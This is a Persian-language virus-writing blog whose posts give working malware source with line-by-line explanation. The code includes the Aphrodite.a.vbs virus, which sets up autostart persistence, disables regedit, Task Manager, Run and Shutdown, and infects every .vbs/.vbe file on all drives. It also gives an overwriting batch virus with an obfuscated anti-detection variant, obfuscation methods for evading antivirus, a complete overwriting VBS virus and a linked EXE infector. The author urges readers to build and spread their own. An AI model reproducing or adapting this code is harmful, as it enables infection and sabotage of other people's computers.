ویروس ایرانی

سورس برنامه IEI

iranianvirus — Fri, 04 Jul 2008 20:14:31 GMT

برنامه ي Iranian exe infector در وبلاگ موجود مي باشد.اين برنامه در ويژوال بيسيك 6 نوشته شده است.با سورس برنامه هم روش آلوده كردن فايل هاي exe رو ياد مي گيريد هم مي تونيد IEI خودتون رو بسازيد. بعدش به اسم خودتون منتشرش كنيد.

براي به دست آوردن پسورد فايل ايميل خود را نظرات زير بنويسيد.كلمه ي رمز به پست الكترونيك شما فرستاده مي شود.سورس برنامه رو از اين لينك دانلود كنيد.

آشنايي كلي با آلوده كردن فايل هاي Vbs

اين مقاله بدون پسورد است!خيلي وقت پيش نوشتمش اما هنوز خيلي ها اونو بلد نيستن(البته به جز شما).سه روش آلوده سازي فايل هاي vbs رو توضيح داده.تازه براي هر كدوم يه دونه ويروس نمونه داده.مطمئن باشيد از ديدنش پشيمون نمي شيد.

استفاده از مطالب اين پست بدون ذكر منبع مجاز مي باشد !

آموزش آلوده کردن فایل های exe در ویژوال بیسیک(قسمت سوم)

iranianvirus — Thu, 12 Jun 2008 18:50:18 GMT

در قسمت اول و دوم ایم مقاله به ترتیب به توضیح روش کلی آلوده سازی و یافتن فایل های exe پرداختیم.یاد آوری می کنم که برای آلوده ساختن فایل به روش کنترلی به سه فایل نیاز داشتیم :

یک فایل exe برای آلوده شدن
یک فایل ویروسی مثل ویروس خودمون
یک فایل کنترلی

در این قسمت کد نویسی فایل دوم برنامه را آغاز می کنیم.وظیفه ی این فایل آلوده کردن فایل exe (شماره ی 1) می باشد.فایل جدید هر سه فایل را در بر خواهد داشت.

به خاطر دارید که یک فایل را نمی توان بیش از یک بار آلوده کرد.پس قبل از آلوده سازی هر فایل باید تشخیص دهیم که آیا آن فایل قبلا آلوده شده است یا نه.برای این کار نشانه ای در فایل قرار می دهیم و قبل از آلوده کردن وجود یا عدم وجود آن نشانه در فایل را بررسی می کنیم.

قرار دادن نشانه :

Open file_1 for random as #1

Put #1, 40, "1"

این دستورات در بایت چهلم فایل نشانه ی 1 را قرار می دهد.نشانه را جایی قرار دهید که فایل خراب نشود.file_1 آدرس فایلی است که آلوده شده است.این عمل را باید بعد از آلوده کردن فایل انجام داد.

تشخیص نشانه :

Open file_1 for random as #1

Dim n as string

Get #1, 40, n

If n="1" then

Close #1

End if

اگر نشانه ی موجود در بایت چهلم برابر با نشانه ای بود که خودمان در فایل قرار داده بودیم، فایل را می بندیم و به دنبال فایل دیگری می گردیم.

قبل از نوشتن قسمت بعدی کدها، سورس زیر را در ماژول برنامه کپی کنید.

Public Type FileData

File1 As String

File2 As String

End Type

Public Type Name

F1 As String

F2 As String

End Type

Public Datas As FileData

Public Names As Name

Public DataBag As New PropertyBag

ویروس فایل کنترلی را به جای فایل exe قرار می دهد.سپس کدهای خود و فایل را به انتهای فایل کنترلی اضافه می کند.پس باید قبل از این کار اطلاعات فایل exe و خود را بخواند.خط اول تا چهارم سورس برای این کار آورده شده اند.خط پنجم تا هشتم برای نام های فایل exe و ویروس هستند.خط آخر هم یک بسته ی اطلاعاتی ایجاد می کند.ما می خواهیم این بسته را در انتهای فایل کنترلی قرار دهیم.این بسته شامل کدهای ویروس و کدهای فایل exe و نام ویروس و نام فایل exe خواهد بود.فایل کنترلی این بسته را از آخر خود می خواند و برای ساختن فایل exe و ویروس و اجرا کردن آن ها به این نام ها نیاز دارد.

قسمت بعدی مقاله :

1.پر کردن بسته ی اطلاعاتی

2.تزریق ماده ی وراثتی (فایل شماره ی 3)

برنامه Iranian Exe Infector

iranianvirus — Thu, 28 Feb 2008 11:17:18 GMT

با برنامه ای که ساختم می تونید فایل های exe رو به راحتی آلوده کنید.برنامه از شما مسیر فایل و ویروس را می گیرد و با زدن دکمه Infect The File می توانید فایل را با ویروسی که انتخاب کردید آلوده کنید.فایل و ویروس با همدیگر اجرا می شوند.دو ویروس هم همراه برنامه می باشد که می توانید فایل مورد نظرتان را با آن ها آلوده کنید.برای قرار دادن ویروس خود در ورژن های بعدی این برنامه با ایمیل من تماس بگیرید.اگر استقبال از برنامه قابل توجه بود سورس برنامه هم می ذارم.

دانلود برنامه: http://rezagoodarzi.persiangig.com/IEI.rar

روش های کلی اینکریپت کردن ویروس ها

iranianvirus — Tue, 12 Feb 2008 12:12:18 GMT

در جای جای وبلاگ آموزش اینکریپت کردن فایل ها رو می تونید ببینید مثل پست قبل اما این پست رو به خاطر دوست هکر و ویروس نویس عزیزمون مدیر وبلاگ هکر های مهربان می نویسم که گفته بود مطلبی بنویسم که هر کسی با خلاقیت خودش بتونه ویروس ها رو اینکریپت کنه.به طور کلی دو روش برای این کار وجود داره که عبارتند از:

1.تغییر پسوند فایل

2.تغییر اطلاعات درون فایل به اطلاعات مبهم

آموزش هایی دورن وبلاگ در مورد اولی هست مثل آموزش تبدیل ویروس bat به vbs یا vbs به bat و بعضی از آموزش ها که دو گزینه داخلش به کار رفته مثل آموزش تبدیل ویروس vbs به js.

البته مورد یک خودش به سه قسمت تبدیل میشه که عبارتند از:

الف.تبدیل اسکریپت به اسکریپت

ب.تبدیل اسکریپت به اجرایی

ج.تبدیل اجرایی به اجرایی

مکانیزم کلی این سه روش را در ادامه نوشته ام.

الف.تبدیل اسکریپت به اسکریپت:

برای این کار باید به دو زبان اسکریپت آشنا باشید.برای مثال ابتدا ویروستون را به زبان A می نویسید.حالا به زبان B یک فایل می نویسید که کدهای ویروس به زبان A را در یک فایل دیگر به زبان A در مسیری دلخواه وارد کند و سپس آن فایل را اجرا کند.

ب.تبدیل اسکریپت به اجرایی

روش اول:از برنامه های از پیش تهیه شده استفاده کنید مانند فایل زیر که فایل vbs رو به فایل اجرایی com تبدیل می کند.

دانلود فایل با حجم 1.6 کیلو بایت

توجه:این فایل تحت DOC اجرا می شود.

روش دوم:ابتدا ویروستان را به زبان اسکریپت می نویسید.سپس یک فایل اجرایی می سازید که یک فایل به زبان اسکریپت در مسیری دلخواه بسازد و کدهای ویروس به زبان اسکریپت را در آن وارد کند و سپس فایل اسکریپت را اجرا کند.

ج.تبدیل اجرایی به اجرایی

روش اول:باز هم از برنامه های از پیش تهیه شده استفاده کنید مانند فایل زیر که حجم فایل هایی مانند EXE را کم می کند و سپس خودتان می توانید از طریق rename کردن پسوند فایل را به com تبدیل کنید یا بر عکس.

دانلود فایل با حجم 124 کیلو بایت

توجه:این فایل هم تحت DOC اجرا می شود.

روش دوم:ویروستان را به عنوان یک resource به فایل اجرایی با پسوند دیگر اضافه کنید.سپس فایل resource را استخراج کرده و اجرا کنید.

مورد دوم هم به چندین روش تقسیم می شود که عبارتند از:

الف.char encryption

ب.strreverse encryption

ج.polyencryption

د.hex encryption

ه.polymorphsm

این پنج روش بیشتر برای اسکریپت ها کاربرد دارد.در این پست به آموزش دو روش اکتفا می کنیم.

الف.char encryption

در پست قبل یاد گرفتیم که چه طور کدهای ویروس رو با تابع asc به عدد تبدیل کنیم.حالا ما همون عدد ها رو در دور از چشم آنتی ویروس ها به کد تبدیل می کنیم و در دور از چشم آنتی ویروس ها اجرا می کنیم.این کار رو برای هر خط انجام می دیم:

کدها قبل از اینکریپت:

Msgbox "reza"

کدها بعد از اینکریپت:

r = "execute(chr(109)&chr(115)&chr(103)&chr(98)&chr(111)&chr(120)&chr(32)&chr(34)&chr(114)&chr(101)&chr(1" r = r & "22)&chr(97)&chr(34)&chr(58)&chr(10))" execute r r = "execute(chr(109)&chr(115)&chr(103)&chr(98)&chr(111)&chr(120)&chr(32)&chr(34)&chr(114)&chr(101)&chr(1" r = r & "22)&chr(97)&chr(34)&chr(58)&chr(10))" execute r

توجه:برای هر خط عمل encryption را انجام دهید.

ب.strreverse encryption

ابتدا هر خط از ویروس بر عکس می شود.به عنوان مثال کلمه ی reza به azer تبدیل می شود.سپس در ابتدای هر خطی که بر عکس شده است علامت ' را قرار داده می شود تا یک توضیح محسوب شود.بعد از آن کدهایی نوشته می شوند که با توجه به تعداد خط هایی که برعکس شده اند ابتدا همه را می خواند و سپس دوباره برعکس می کند و علامت ' هم از آن ها بر می دارد و آن ها را اجرا می کند.

کدها قبل از اینکریپت:

Msgbox "reza"

کدها بعد از اینکریپت:

'"azer" xobgsm '"azer" xobgsm On error resume next Set fso = CreateObject("scripting.filesystemobject") Set c = fso.opentextfile(wscript.scriptfullname) n=2 Do buffer = c.readline buffer2 = strreverse(buffer) buffer3 = Mid(buffer2, 1, Len(buffer2) - 1) all=all &":"& buffer3 n = n - 1 Loop While n <> 0 r = Mid(All, 2, Len(All) - 1) execute(r)

توجه:بعد از n= تعداد خط هایی که برعکس کرده اید را بنویسید.

موفق باشید.

تبدیل ویروس vbs به js

iranianvirus — Wed, 06 Feb 2008 13:26:18 GMT

ویروس نویسی فقط برای برخی افراد لذت بخش است. از بین این ها نیز فقط عده ای طعم ویروس نویسی حرفه ای را می چشند.یک از مهم ترین جنبه های ویروس نویسی حرفه ای اینکریپت یا رمزی کردن ویروس است.این کار ویروس را از دید آنتی ویروس ها مخفی نگه می دارد.در نتیجه باعث دوام و ثبات آن خواهد شد.اگر می خواهید این طعم را تجربه کنید از شگرد زیر استفاده کنید.

با روشی که گفته می شود می توانیید ویروس vbs ای که نوشته اید را به ویروس جاوا اسکریپت تبدیل کنید.یادگیری این کار دو فایده دارد.

1.آنتی ویروس ها به هیچ وجه ویروس شما را شناسایی نمی کنند.

2.مهارت تبدیل هر فایل vbs دیگر به js را خواهید داشت.

آنتی ویروس ها ویروس شما را نمی شناسند نیز خود دو علت دارد.

1.کدهای ویروس شما نه به زبان vbs است و نه js .

2.آنتی ویروس ها روی فایل های vbs حساسیت بیشتری دارند.

ابتدا با تابع asc ،شماره ی اسکی هر حرف ار سورس ویروس را به دست آورید و آن را یادداشت کنید.

R = asc("")

Msgbox(R)

بین دو علامت "" فقط یک حرف بنویسد اما اگر با error در مواجه شدید اول حرف مورد نظر را بنویسید و سپس یک حرف دلخواه اضافه کنید.

بعد از انجام این کار از کدهای js زیر به طوری که گفته می شود استفاده کنید.

var ntodqaik=String.fromCharCode(109,115,103,98,111,120,32,34,114,101,122,97,34,13,10,109,115,103,98,111,120,32,34,114,101,122,97,34) var fqsuitpt=WScript.CreatEoBJECT("Scripting.filesystemobject").CreateTextFile("fhkrqsmp.vbs") for(lolpknfd=0; lolpknfd<ntodqaik.length; lolpknfd++){ try{fqsuitpt.write(ntodqaik.charAt(lolpknfd))} catch(ddgvjjge){}} WScript.CreateObject("WScript.Shell").run("fhkrqsmp.vbs",0)

کدهای جاوا اسکریپتی بالا فایلی با نام fhkrqsmp.vbs در مسیر جاری ایجاد می کنند و سپس کدهای زیر را در آن می نویسند و فایل را اجرا می کنند.

Msgbox "reza"

در خط اول این کدها از تابع chr استفاده شده است که درست برعکس asc کار می کند.یعنی حرف هایی که به عدد تبدیل کرده اید را به همان حرف ها تبدیل می کند.عبارت 13,10 در همین خط نیز به معنی نوشتن در خط بعد می باشد.در این کدها فقط یک بار از این عبارت استفاده شده است.

کدهایی که نوشته اید را در notepad کپی کرده و با پسوند js ذخیره کنید.جواب سوال هاتون هم در قسمت نظرات وبلاگ نوشتم.

آموزش ویروس Aphrodite.a.vbs – قسمت دوم

iranianvirus — Tue, 24 Jul 2007 02:44:51 GMT

دانلود ویروس Aphrodite.a.vbs رو که خودم نوشتمش رو تو وبلاگ گذاشتم.همون طور که در پست قبل گفتم این ویروس دارای دو قسمت است.در پست قبل قسمت installation این ویروس رو آموزش دادم و تو این پست قسمت infection ویروس رو آموزش میدم.در این قسمت،ویروس فایل های vbs و vbe موجود در تمام درایوهای کامپیوتر را آلوده می کند.کدهای قسمت دوم ویروس رو در زیر میبینید:

set drives=f.drives for each drive in drives if drive.isready then dosearch drive & "\" end If next function dosearch(path) on error resume next set folder=f.getfolder(path) set files = folder.files for each file in files t=f.getextensionname(file.path) t=lcase(t) if (t="vbs") or (t="vbe") then fp = (file.path) set k = f.opentextfile(fp, 1) k1 = k.readall k2= instr(1, k1, ".::aphrodite.vbs::.", 1) if k2 = 0 then set d = f.getfile(fp) v = d.attributes d.attributes = 0 set k3 = f.opentextfile(fp, 8) k3.writeline(" ") k3.writeline(c) d.attributes = v end if end if next set subfolders = folder.subfolders for each subfolder in subfolders dosearch subfolder.path Next end function

خط اول تا ششم:

در خط اول ویروس با کمک شیئ fso ،تمام درایو های کامپیوتر را می گیرد و سپس در متغیر drives قرار می دهد.در خط دوم از حلقه for-next استفاده شده است.به این صورت که برای هر درایوی کد خط های بعدی را تا جایی که به next برسد اجرا می کند.در خط سوم اگر درایو آماده باشد کد خط های بعدی تا جایی که به end if برسد اجرا می شود.خط چهارم تابع dosearch را اجرا می کند و کنترل برنامه را به این تابع می دهد.همچنین مسیر درایوی که پیدا کرده هم به عنوان متغیر این function معرفی می کند.خط پنجم هم پایان شرطی بود که گذاشته بودیم و خط ششم هم باعث پیدا کردن درایو بعدی می شود.

در خط هفتم،مسیر درایو در متغیر path قرار می گیرد.خط هشتم برای این است که اگر در هنگام عملیات ویروس خطایی رخ دهد،اجرای ویروس متوقف نگردد.در خط نهم،ویروس با کمک شیئ fso ،اطلاعاتی راجع به مسیر path می گیرد و در متغیر folder قرار می دهد.در خط دهم،مسیر فایل های موجود در متغیر folder ،گرفته می شوند اما اگر subfolder وجود داشته باشد،مسیر فایل هایش بعدا" گرفته می شوند.خط یازدهم برای هر فایل موجود در آن مسیر،کدهای خط های بعدی را اجرا می کند تا جایی که به عبارت next برسد.در خط دوازدهم،پسوند سه حرفی فایل دریافت می شود و سپس در خط سیزدهم،پسوند فایل به حروف کوچک تبدیل می شود.خط چهاردهم هم می گوید که اگر پسوند فایل vbs یا vbe بود کد خط های بعدی اجرا شوند تا جایی که به end if برسد.در خط پانزدهم مسیر فایل در متغیر fp قرار می گیرد.در خط شانزدهم فایل به صورت متنی برای خواندن باز می شود و در خط هفدهم تمام محتویات فایل در متغیر k1 قرار می گیرد.خط هجدهم هم چک می کند که آیا محتویات k1 دارای علامت .::aphrodite.vbs::. هست یا خیر.این یک رمز است که مشخص می کند آیا آن فایل قبلا" آلوده شده است یا نه.خط نوزدهم می گوید که اگر فایل آلوده نشده،کد خط های بعدی اجرا شود تا زمانی که به end if برسد.در خط بیستم،اطلاعاتی راجع به فایل را دریافت می کنیم و در خط بیست و یکم،attributes فایل را در متغیر v قرار می دهیم و سپس attributes فایل را در خط بیست و دوم برابر صفر قرار می دهیم و در خط بیست و سوم هم فایل به صورت متنی برای اضافه کردن به انتهای فایل باز می شود.در خط بیست و چهارم،یک عبارت خالی را در فایل قرار می دهیم که باعث می شود تا تمام اطلاعاتی که بعدا" می خواهیم در فایل بنویسیم،در خط بعدی از عبارت خالی قرار بگیرند و اطلاعات ویروس درست پشت سر اطلاعات فایل قرار نگیرند و مشکلی رخ ندهد.در خط بیست و پنجم هم کدهای ویروس در فایل قرار می گیرند و در خط بیست و ششم هم attributes فایل برابر با v می شود و خط بیست و هفتم و بیست و هشتم هم پایان شرط هایی بود که گذاشته بودیم.خط بیست و نهم هم باعث پیدا شدن فایل بعدی می شود.در خط سی، subfolder های موجود در مسیر path در متغیر subfolders قرار می گیرند و در خط سی و یکم حلقه for-next وجود دارد که برای هر subfolder موجود در متغیر subfolders ،کد خط بعدی را اجرا می کند.کد خط سی و دوم،تابع dosearch را دوباره اجرا می کند با این تفاوت که این بار مسیر subfolder در متغیر path قرار می گیرد.خط سی و سوم، subfolder بعدی را پیدا می کند و خط سی و چهارم پایان function و پایان قسمت دوم ویروس است.

آموزش ویروس Aphrodite.a.vbs - قسمت یک

iranianvirus — Sun, 22 Jul 2007 15:23:07 GMT

من دانلود سورس ویروس Aphrodite.a.vbs رو در قسمت قبل گذاشتم.

این ویروس از دو قسمت تشکیل شده:

1.installation

2.infection

امروز قسمت installation این ویروس رو آموزش میدم که خیلی به شما در ضمینه نوشتن ویروس کمک میکنه.در این قسمت،ویروس،خودش را بر روی هر ویندوزی که باشد نصب میکند.کدهای قسمت اول ویروس رو در زیر مشاهده میکنید:

on error resume next set w = createobject("wscript.shell") rk = "HKCU\Software\Microsoft\Windows Script Host\Settings\Timeout" tmo = w.regread(rk) if not(tmo = 0) then w.RegWrite rk ,0,"REG_DWORD" end if set f = createobject("scripting.filesystemobject") set s = f.getspecialfolder(1) h = s & "\aphrodite.vbs" set m = f.opentextfile(wscript.scriptfullname) c = m.readall if f.fileexists(h) = false then f.copyfile wscript.scriptfullname, h set l = f.getfile(h) l.attributes = 1 else set o = f.opentextfile(h,1) e = o.readall i1 = instr(1, e, ".::aphrodite.vbs::.", 1) if i1 = 0 then l.attributes = 0 f.copyfile wscript.scriptfullname, h l.attributes = 1 end if end if lm = "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" er = w.regread(lm & "aphrodite") if not(er = h) then w.regwrite lm & "aphrodite", h end if cu = "HKCU\software\microsoft\windows\currentversion\policies\" w.regwrite cu & "system\disableregistrytools",1, "REG_DWORD" w.regwrite cu & "system\disabletaskmgr",1, "REG_DWORD" w.regwrite cu & "Explorer\NoRun", 1, "REG_DWORD" w.regwrite cu & "Explorer\NoClose", 1, "REG_DWORD"

خط اول رو که همتون میدونید.در خط دوم ما شئ wscript.shell را برای دسترسی به رجیستری تعریف میکنیم.در خط سوم متغیری به نام rk را مقدار دهی کردم و در خط چهارم از متد regread برای خوندن رجیستری استفاده کردم.چیزی که خونده شده همان rk بوده.rk در این جا همان مسیر تنظیمات timeout برای فایل های vbs میباشد.خب ما در خط چهارم مقدار این مسیر در رجیستری رو خوندیم و در متغیر tmo قرار دادیم.در خط پنجم میگه که اگه tmo برابر صفر نبود کدهای بعدی رو اجرا میکنه.کد بعدی کد خط ششم است که مقدار صفر را برابر آن مقدار در رجیستری قرار میدهد.اگر این مقدار یک باشد،ویروس پس از یک ثانیه از کار میفته اما قبل از این که یک ثانیه بشه،ویروس این مقدار رو برابر صفر میکنه که یعنی غیرفعال.خط هفتمم که پایان شرطی بود که گذاشتیم.در خط هشتم هم شیئ fso را برای دسترسی به فایل ها،فولدر ها و درایو ها تعریف کردم و در خط نهم با متد getspecialfolder مسیر پوشه سیستم ویندوز رو به دست میاریم و در خط دهم یه مسیر به نام h رو تعریف میکنیم که قراره مسیر ویروس در کامپیوتر قربانی باشه.در خط یازدهم ویروس خودشو به عنوان یک فایل متنی باز میکند و در خط دوازدهم تمام محتویات و کدهای خودش را میخواند و در متغیر c قرار میدهد.در خط سیزدهم چک میکند که آیا فایلی با مسیر h وجود داره یا نه.اگه وجود نداشته باشه کد خط های بعدی را اجرا میکند.در خط چهاردهم خودش رو در مسیر h کپی میکنه و سپس در خط پانزده با متد getfile مشخصات فایلی با مسیر h رو میگیره و سپس در خط شانزدهم attributes فایل رو برابر یک قرار میده که همان readonly خالی میشود.اگر خط پانزدهم انجام نشود،خط شانزدهم هم انجام نخواهد شد.در خط هفدهم فقط عبارت else رو میبینید.یعنی اگه طور دیگه باشه و فایلی با مسیر h وجود داشته باشه،کدهای بهدی را تا end if اجرا کند.در خط هجدهم فایل با مسیر h را به صورت یک فایل متنی باز میکند و در خط نوزدهم تمام کدهای فایل را میخواند و در متغیر o قرار میدهد.در خط بیستم چک میکند که آیا عبارت .::Aphrodite.vbs::. در این فایل وجود داره یا نه.در خط بیست و یکم میگوید که اگر این عبارت در فایل وجود نداشته باشه کد خط های بعدی رو اجرا کنه.عبارت .::Aphrodite.vbs::. یک رمز است که مشخص میکند که آیا آن فایل همان ویروس خودمان میباشد یا نه.اگر نه در خط بیست و دوم attributes فایل رو برابر صفر یا همون عادی قرار میدیم و در خط بیست و سوم خودمون رو به جای اون فایل کپی میکنیم و سپس در خط بیست و چهارم دوباره attributes فایل رو برابر یک قرار میدیم که همون readonly خالیه.خط بییست و پنجم و بیست و ششم هم پایان شرط هایی که گذاشتیم رو مشخص میکنه.در خط بیست و هفتم یک مقدار در رجیستری را تعریف میکنیم و در متغیر lm قرار میدیم.در خط بیست و هشتم این مسیر در رجیستری را + Aphrodite میخونیم و در متغیر er قرار میدیم.در خط بیست و نهم میگیم که اگر er برابر h نبود،در خط سی یک مقدار در رجیستری نوشته بشه که باعث میشه ویروس در هر بار اجرای ویندوز اجرا بشه و خط سی و یکم هم پایان شرطه.در خط سی و دوم یک مسیر در رجیستری را تعریف میکنیم و در متغیر cu قرار میدیم و در خط سی و سوم یک مقدار در رجیستری مینویسیم که باعث غیرفعال شدن regedit میشود.خط های بعدی هم همین کار را انجام میدهند با این تفاوت که خط سی و چهارم taskmanager غیرقعال میشود.غیرفعال شدن regedit و taskmanager به این صورت نیازی به log off یا restart کردن ویندوز نداره ولی در خط سی و پنجم ویروس run موجود در startmenu را غیرفعال میکند و خط سی و ششم هم باعث غیرفعال شدن shutdown موجود در startmenu میشود که این دو نیاز به log off یا restart ویندوز دارند.در این جا قسمت installation ویروس پایان میپذیرد و در پست بعدی قسمت infection ویروس یا همون آلوده کردن فایل ها توسط ویروس رو آموزش میدم.

سورس ویروس Aphrodite.a.vbs

iranianvirus — Fri, 20 Jul 2007 22:28:18 GMT

این ویروس دومین ویروسی است که ساختم و میخوام سورسشو به شما تقدیم کنم.بعضی از آرزوهای ویروسی شما ممکنه تو سورس این ویروس باشه.ساختنش یک هفته وقتمو گرفت.جدیدترین نسخه آنتی ویروس کاسپراسکای با جدیدترین آپدیتش نتونست این ویروس رو شناسایی کنه در حالی که اگه هفت خط از ابتدای این ویروس رو پاک کنید،کاسپراسکای اعلام می کنه که ویروس پیدا شده.تو این پست هم دانلود سورس ویروس رو خواهید داشت و هم توضیح کامل ویروس رو.این ویروس تعدادی از کارهاشو هم با رجیستری انجام میده که عبارتند از:

1.از کار انداختن timeout فایل های vbs بلافاصله پس از اجرا شدن ویروس.

Timeout ،باعث توقف اجرای فایل vbs پس از مدتی که کاربر تعیین کرده میشه.

2.اجرای ویروس در هر بار اجرای ویندوز

3.غیرفعال کردن regedit

4.غیرفعال کردن taskmanager

همچنین به کمک رجیستری دو عدد از ابزارهای موجود در منوی استارت را غیرقابل استفاده میکند:

5.غیرفعال کردن run

6.غیرفعال کردن shutdown

حجم این ویروس در حالت عادی 2.10 کیلوبایت میباشد که واقعا" خارق العاده است.این ویروس فایل های vbs و vbe موجود در کل هارد را با سرعتی باورنکردنی آلوده میکند.

روشی که برای آلوده کردن فایل ها دارد،خاص خود ویروس است و تنها ویروس vbs است که به این صورت یک فایل را آلوده میکند.سورس ویروس گویای همه چیز خواهد بود.از لینک زیر میتونید ویروس رو دانلود کنید.بعد از دانلود،روی ویروس کلیک راست کنید و edit رو بزنید تا بتونید کدهای ویروس رو ببینید.

دانلود ویروس Aphrodite.a.vbs

آموزش کامل ویروس رو به زودی میذارم اما توضیح کوتاهی که درباره ویروس باید بدم اینه:

اولین کاری که ویروس پس از اجرا شدن انجام میده غیرفعال کردن timeout فایل های vbs است.سپس مسیر پوشه سیستم ویندوز رو بدست میاره و خودش رو با نام Aphrodite.vbs در این پوشه کپی میکنه که شما خودتون میتونید هر اسمی که خودتون دوست دارید بذارید اما هواستون باشه ساختار کلی ویروس به هم نریزه.اگه فایلی که میخواد تو پوشه سیستم ویندوز کپی کنه از قبل وجود داشته باشه،چک میکنه که آیا ویروس Aphrodite.a.vbs هست یا نه.اگه نبود خودش رو به جای اون کپی میکنه.در بین این کار کدهای خودش هم میخونه و در حافظه نگه میداره که این کار برای آلوده کردن فایل ها الزامی است.سپس regedit و taskmanager و چیزای دیگه ای که در ابتدای پست گفتم رو به کمک رجیستری غیرفعال میکنه و حالا دیگه نوبت آلوده کردن فایل ها میرسه.هیچ فایلی از چشم این ویروس مخفی نمیمونه.اول همه درایوهای کامپیوتر رو بدست میاره و سپس هر فایلی که vbs یا vbe باشه را چک میکنه که آیا قبلا" آلوده شده یا نه.اگر آلوده شده که دنبال فایل بعدی میگرده اما اگه آلوده نشده،اول از هر کاری عدد مربوط به attributes فایل رو میگیره و در متغیر v ذخیره میکنه.سپس attributes فایل رو برابر صفر قرار میده و کدهایش خودش رو در انتهای فایل قرار میده و بعد هم attributes فایل رو برابر v یا همون مال خودش قرار میده.این کار دو دلیل داره.اولش این که فایل های فقط خواندنی هم آلوده شوند و اگر مخفی باشد یا دارای هر attribute دیگه ای باشه،بعد از آلوده سازی به حالت اولش برگرده و کاربر شک نکنه که فایلش تغییر کرده.

اگر به اسم ویروس دقت کرده باشید میبیند که این ویروس تنها ویروسی نیست که میخوام به این صورت بنویسم بلکه به زودی ویروس های Aphrodite.b.vbs و Aphrodite.c.vbs رو هم میسازم و سورسشو در اختیار شما قرار میدم تا خودتون هم به زودی یه ویروس به این صورت بسازید.این ویروس کمک زیادی در رابطه با ساخت یک ویروس به شما میکنه.خب.امیدوارم که این ویروس تعدادی از نیازهای شما رو برطرف کرده باشه.

ویروس Bat.Silly

iranianvirus — Wed, 18 Jul 2007 00:41:18 GMT

طبق گفته kaspersky ،یکی از خطرناک ترین ویروس های bat (کرم نه ویروس)،ویروس bat.silly میباشد و تمام فایل های bat و cmd موجود در دیسکی که قرار دارد را به روش رونویسی آلوده میکند.

@echo off

@for /r \ %%a in (*.bat,*.cmd) do copy %0 %%a

کدهای زیر هم کدهای encrypt شده ویروس میباشد که آنتی ویروس ها آن را نمیشناسند:

%reza%@for /r \ %%a in (*.ba%reza%t,*.cmd) do co%reza%py %0 %%%reza%a

این هم از کدی که آنتی ویروس kaspersky میشناسه:

for %%a in (*.bat) do copy %0 %%a

کد سوم فقط فایل های bat موجود در پوشه جاری را آلوده میکند و کد دوم را هیچ آنتی ویروس نمیشناسد و همان کار کد اول را انجام میدهد.

سوالات شما و آلوده کردن فایل ها در vbscript

iranianvirus — Mon, 16 Jul 2007 16:50:18 GMT

سلام دوستان.از این که مدتی نبودم معذرت می خوام.تو این مدت سوالاتی پرسیده بودید که تو این پست به همه اونا جواب میدم.اول از همه به دوست خوبم شیطان دراز دست بگم که برای مخفی کردن دستورات در یک فایل bat ،ابتدای کدهای ویروس،کد @echo off را قرار دهد.در ضمن به وسیله برنامه turbo assembler می تواند کدهایش را در قالب com داشته باشد.سرعت اجرای فایل های com بالاست.از masm هم برای اسمبل کردن آن ها می تواند استفاده کند.در این حالت اگر کدها مشکلی نداشته باشند ویروس در عرض 3 ثانیه عمل می کند.(با توجه به کدهای ویروس)

یکی از دوستان هم گفته بود که یه ویروس با ویژوال بیسیک ساخته که فقط در کامپیوتر خودش کار می کنه.خب اگه خود ویروسش اشکال نداره،پس ویندوزی که ویروس درونش اجرا نمیشه فایل های ویژوال بیسیک رو پشتیبانی نمی کنه.یکی از برنامه هایی که این مشکل رو رفع می کنه برنامه upx هست که با یک سرچ در گوگل می تواند آن را دانلود و به راحتی از آن استفاده کند.

آقا آرش هم می خواستن لیست فایل های دیسک c رو داشته باشن.این کار در ویژوال بسیک با کدهای زیر امکان پذیر است:

search("c:\") function search(path) set fso = createobject("scripting.filesystemobject") set folder=fso.getfolder(path) set files = folder.files for each file in files msgbox(file.path) next set subfolders = folder.subfolders for each subfolder in subfolders search subfolder.path Next end function</body> </html>

کدهای بالا مسیر تمام فایل های موجود در دیسک c را نمایش می دهد.مسیر فایل ها در متغیر file قرار می گیرد.نود و نه درصد ویروس های vbscript از این روش برای پیدا کردن فایل ها استفاده می کنند.سپس فرمت فایل ها رو چک می کنن و اگر مثلا vbs یا vbe بود اون فایل رو آلوده می کنند.یکی از روش های آلوده کردن ساده که به اون رو نویسی هم می گویند کد زیر است.البته این کد مکمل کدهای بالا هست:

Fso.copyfile wscript.scriptfullname, file.path

در این روش ویروس خودش را در مسیر پیدا شده کپی می کند و اگر فایلی در آن مسیر وجود داشته باشد،اطلاعاتش از بین می رود و آماده دریافت اطلاعات جدید می شود که همان کدهای ویروس است.دستور زیر فرمت فایل پیدا شده رو در متغیر reza قرار می دهد و سپس فرمت را به حروف کوچک تبدیل می کند و اگر vbe یا vbe باشد مسیر فایل را نمایش می دهد:

reza=fso.getextensionname(file.path)

reza=lcase(reza)

if reza="vbs" or reza="vbe" then

msgbox(file)

end if

برای پیدا کردن درایو های کامپیوتر هم از کد زیر استفاده کنید:

set drives=fso.drives

for each drive in drives

if drive.isready then

search(drive & "\")

end If

حالا این چهار تا کد رو ترکیب کنید و یک ویروس استاندارد ویژوال بیسیک اسکریپت بسازید.من این کد ساده رو به چهار قسمت تبدیل کردم که بسیار ساده بشه.

کدهای زیر،ترکیب چهار قسمت کد بالا به صورت یک ویروس است:

set fso = createobject("scripting.filesystemobject") set drives=fso.drives for each drive in drives if drive.isready then search drive & "\" end If next function search(path) set folder=fso.getfolder(path) set files = folder.files for each file in files reza=fso.getextensionname(file.path) reza=lcase(reza) if (reza="vbs") or (reza="vbe") then fso.copyfile wscript.scriptfullname,file.path end if next set subfolders = folder.subfolders for each subfolder in subfolders search subfolder.path Next end function

اینم از توضیح خط به خط ویروس:

خط اول:تعریف شیئ fso برای کارکردن با فایل ها و درایو ها و ...

خط دوم تا هفتم:تمام درایوهای سیستم رو با شیئ fso پیدا می کنیم و با حلقه for-next یک سری دستورات را برای هر درایوی که آماده است اجرا می کنیم.(if drive.isready then).دستوری که اجرا می شود search drive & "\" می باشد که کنترل برنامه را به function سرچ را می دهد و مسیر درایو را هم به این function می دهد.

خط هشتم:مسیر درایو در متغیر path قرار می گیرید و این آغاز function است.

خط نهم تا هفدهم:فایل های موجود در دیسک را پیدا می کند ولی فایل های موجود در فولدرهای دیسک را پیدا نخواهد کرد.در این جا،درایو به عنوان یک فولدر فرض شده است.یعنی فایل های subfolders که همان فایل های فولدرهای دیسک هستند،فعلا" پیدا نخواهند شد.سپس پسوند فایل ها را پیدا می کند و اگر vbe و vbe باشد آن ها را آلوده می کند.

